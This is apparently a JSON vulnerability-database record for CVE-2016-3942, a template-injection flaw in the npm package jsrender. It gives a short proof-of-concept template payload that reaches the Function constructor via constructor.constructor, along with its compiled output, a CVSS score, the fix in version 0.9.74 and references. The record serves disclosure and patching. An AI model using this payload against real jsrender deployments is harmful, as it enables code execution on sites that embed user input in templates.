{"id":"CVE-2016-3942","aliases":[],"url":"https://o3.security/vulnerability/CVE-2016-3942","summary":"Template Injection in jsrender","details":"Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.\n\n## Proof of Concept\n\n\n```js\n//POC-REQUEST\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n```\n\n```js\n//POC-RESPONSE\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)']}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n```\n\n\n## Recommendation\n\nUpdate to version 0.9.74 or later.","published":"2020-09-01T15:24:24Z","modified":"2023-11-08T03:58:27.633161Z","cvss":{"score":6.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"jsrender","fixedVersion":"0.9.74"}],"fix":{"url":"https://github.com/BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6","label":"BorisMoore/jsrender@f984e13"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-3942"},{"type":"WEB","url":"https://github.com/BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6"},{"type":"PACKAGE","url":"https://github.com/BorisMoore/jsrender"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-DOTNET-JSRENDER-60173"},{"type":"WEB","url":"https://www.npmjs.com/advisories/97"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2023-11-08T03:58:27.633161Z"}}